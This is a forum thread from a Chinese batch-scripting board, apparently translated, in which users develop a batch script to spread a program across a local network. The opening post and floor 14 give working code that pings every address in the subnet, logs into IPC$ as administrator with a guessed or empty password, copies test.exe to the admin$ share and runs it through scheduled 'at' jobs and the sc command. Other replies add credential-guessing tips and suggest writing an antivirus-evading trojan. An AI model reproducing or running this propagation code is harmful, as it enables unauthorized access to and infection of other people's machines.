China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-04 20:34
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » Examples of using batch processing to spread viruses over the LAN through IPC$ View 2,397 Replies 15
Original Poster Posted 2007-02-06 14:49 ·  中国 浙江 宁波 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
REM LAN propagation
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%

a&& goto :gof)
:gof
set "ip=%ip: =%"
for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1
call :bb %%b %%c %%d %ip1%)
:bb
set IP=%1.%2.%3.%ip1%
ping %IP% -n 2 | findstr /i "time<" && net use \\%IP%\ipc$ "1212" /user:"administrator" && copy test.exe \\%IP%\admin$ && start \\%IP%\admin$\test.exe
set /a ip1+=1
if %ip1% lss 255 goto :bb

exit



Function brief explanation: First list the IPs in the same LAN segment of this computer, respectively perform PING tests on the last 1-254 IPs. If it is reachable, copy the file to the C:\windows\ directory and execute it. If not reachable, continue to the next IP until all 254 IPs are PINGed.
Here, I would like to express deep gratitude to the friend "Waiting for the next game" in the forum group, who helped me study this code until 2 AM.
Also, post it to the forum to share the result with everyone and hope to get some guidance.
If there are errors, please point them out. If it can be improved, please help improve it!


[ Last edited by heicai on 2007-2-6 at 01:52 AM ]
Floor 2 Posted 2007-02-07 01:03 ·  中国 浙江 宁波 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
I am purely researching with a learning attitude and have no malice. Please, distinguished experts, don't be stingy to give some pointers.
Floor 3 Posted 2007-02-07 01:16 ·  中国 甘肃 兰州 电信
金牌会员
★★★★
Credits 4,103
Posts 1,744
Joined 2006-01-20 13:00
20-year member
UID 49241
Gender Male
From 甘肃.临泽
Status Offline
You just know the password is: "1212"?
Floor 4 Posted 2007-02-07 03:38 ·  中国 浙江 宁波 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
The password is 1212, which is set randomly. Generally, it's empty? I think using a dictionary, etc., is too memory-consuming.
Floor 5 Posted 2007-02-07 04:06 ·  中国 北京 鹏博士BGP
中级用户
★★
Credits 404
Posts 179
Joined 2006-03-30 14:44
20-year member
UID 53056
Status Offline
It seems quite powerful

But I have a question, can start make other machines execute files? I'm afraid it will execute on its own machine.
You can try Cat Mouse Burning Incense
Floor 6 Posted 2007-02-07 09:22 ·  中国 广东 广州 天河区 电信
金牌会员
★★★★
一叶枝头,万树皆春
Credits 2,564
Posts 1,127
Joined 2006-12-25 22:57
19-year member
UID 74552
Gender Male
Status Offline
You can first identify the local account name or check the registry for automatic login records, which contain the password of the current account. If it is not administrator, you can add administrator enumeration and use the empty password as the credential. However, after SP2, the security policy does not allow remote access with an empty password.

If it is like an internet café where the accounts are all the same, generally, if the default share and administrative share are not closed, you can connect using the default account.

Also, XP has a built-in tool for remote execution of commands, but I can't remember the name. You can check more.
Floor 7 Posted 2007-02-07 23:12 ·  中国 广西 桂林 平乐县 电信
新手上路
Credits 14
Posts 6
Joined 2007-02-04 10:04
19-year member
UID 78603
Gender Male
Status Offline
rundll32 netplwiz.dll,UsersRunDll

I deleted the registry and don't know the path. I also don't know if the above method is in the registry?
Floor 8 Posted 2007-02-08 12:49 ·  中国 浙江 宁波 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
Originally posted by qingfushuan at 2007-2-7 10:32 AM:
Pure suggestion: If the admin$ is deleted, it's better to use the net view command to see which shares are open on the other side and then copy.
Floor 9 Posted 2007-02-08 15:31 ·  中国 北京 联通
初级用户
Credits 47
Posts 24
Joined 2007-01-09 00:03
19-year member
UID 75873
Gender Male
Status Offline
This loophole is outdated, let's study something else. Just as the friend on floor 6 said, after SP2, the security policy does not allow remote access with an empty password.

Also, can start run a remote program? You're kidding. It's more like if the other party has the Task Scheduler service enabled and uses scheduled tasks.

I'm sorry, I might have dampened your enthusiasm a bit, but there's no other malice.
Floor 10 Posted 2007-03-08 00:24 ·  中国 广东 深圳 联通
新手上路
Credits 16
Posts 7
Joined 2006-09-29 02:27
19-year member
UID 63994
Gender Male
From 河南省南阳市
Status Offline
Yes, it's good if the other party's Task Scheduler service is on. And you also need to know the other party's administrator password.

net time \\%ip% /set /y

set/a hh=%time:~0,2%+0
set/a mm=1%time:~3,2%-100+1
if %mm% geq 60 (set/a mm=!mm!-60
set/a hh=!hh!+1
if %hh% geq 24 set/a hh=!hh!-24
)
at \\%ip% !hh!:!mm! %windir%\test.exe

It means running the target program on the other party's computer in the next minute
Floor 11 Posted 2007-03-08 02:01 ·  中国 北京 北京华宇兴盛科技发展有限公司电信节点
新手上路
Credits 2
Posts 1
Joined 2007-03-08 01:41
19-year member
UID 81028
Gender Male
Status Offline
Can the at command be used in XP2? Oh, I tried and it didn't work.
Floor 12 Posted 2007-03-08 07:59 ·  中国 北京 中国科学院研究生院
银牌会员
★★★
Credits 1,187
Posts 555
Joined 2006-12-21 07:35
19-year member
UID 74129
Gender Male
Status Offline
It's outdated. Who still uses this? sp2 is already relatively safer than before.
Floor 13 Posted 2007-03-08 08:02 ·  中国 北京 中国科学院研究生院
银牌会员
★★★
Credits 1,187
Posts 555
Joined 2006-12-21 07:35
19-year member
UID 74129
Gender Male
Status Offline
It's better to make a Trojan horse and put it in. Write your own Trojan horse, and it needs to be undetected by antivirus software. However, I strongly oppose sabotage. Maintaining network security is the responsibility of every technologically literate person. Technology is a double-edged sword, but it shouldn't be used for malicious purposes. As a high-tech professional, one should first enhance their own moral quality. Only in this way can they live up to this title. Thanks
Floor 14 Posted 2007-03-08 10:25 ·  中国 浙江 杭州 电信
银牌会员
★★★
Credits 2,000
Posts 621
Joined 2007-01-01 00:00
19-year member
UID 75212
Gender Male
Status Offline
LZ's batch processing has quite a few issues.

First, the sentence "ping %IP% -n 2 | findstr /i "time<" &&" may miss a lot; there are many that can ping but don't have "time<" but "time=". It's better to use errorlevel for judgment.

Second, the sentence "copy test.exe \\%IP%\admin$" generally, the admin$ won't be on ordinary machines; so I first test whether this machine can be exploited in terms of ipc$.

sc \\%ip% config Schedule start= auto ^| find "SUCCESS"

The sentence I use; on one hand, test the exploitable value of this machine (if the remote connection service can't even change settings, then this machine can't even execute at commands and will refuse access). Generally, if this step passes, it can be said that this machine can be completely controlled; on the other hand, change the startup mode of Schedule (of course, most machines this is already on).

net start Schedule

Can use at command

net time \\%ip% /set /y

for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j

set /a mm=%mm%+1

set tm=%hh%:0%mm%

at \\%ip% %tm% net share admin$

So start the other party's admin$ in 1 minute. Then the following is copying files and starting..............

Below is my modified one..........

for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%a&& goto :gof)

:gof

set "ip=%ip: =%"

for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1

call :bb %%b %%c %%d %ip1%)

:bb

set IP=%1.%2.%3.%ip1%

ping %IP% -n 2

if errorlevel 0 if not errorlevel 1 net use \\%IP%\ipc$ "" /user:administrator

if errorlevel 0 if not errorlevel 1 sc \\%ip% config Schedule start= auto ^| find "SUCCESS"

if errorlevel 0 if not errorlevel 1 sc start Schedule

net time \\%ip% /set /y

for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j

set /a mm=%mm%+1

set tm=%hh%:0%mm%

at \\%ip% %tm% net share admin$ ...............From here down, I think it's a bit redundant, might as well estimate the time.

:loop

if %time%==%tm%+1 (goto next) else (goto loop)

:next

copy test.exe \\%IP%\admin$

net time \\%ip% /set /y

for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j

set /a mm=%mm%+1

set tm=%hh%:0%mm%

at \\%ip% %tm% c:\windows\system32\test.exe

set /a ip1+=1

if %ip1% lss 255 goto :bb

exit

[ Last edited by bjsh on 2007-3-8 at 03:29 PM ]
Floor 15 Posted 2007-05-28 17:39 ·  中国 浙江 宁波 鄞州畅联信息技术有限公司
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
Originally posted by bjsh at 2007-3-8 10:25 AM:
There are quite a few problems with the batch script of the LZ.
First, the sentence "ping %IP% -n 2 | findstr /i "time<" &&" may miss a lot;
There are many that can be pinged but do not have "time<" but "time ...

Found that the code stops when detecting 192.168.0.1.
Forum Jump: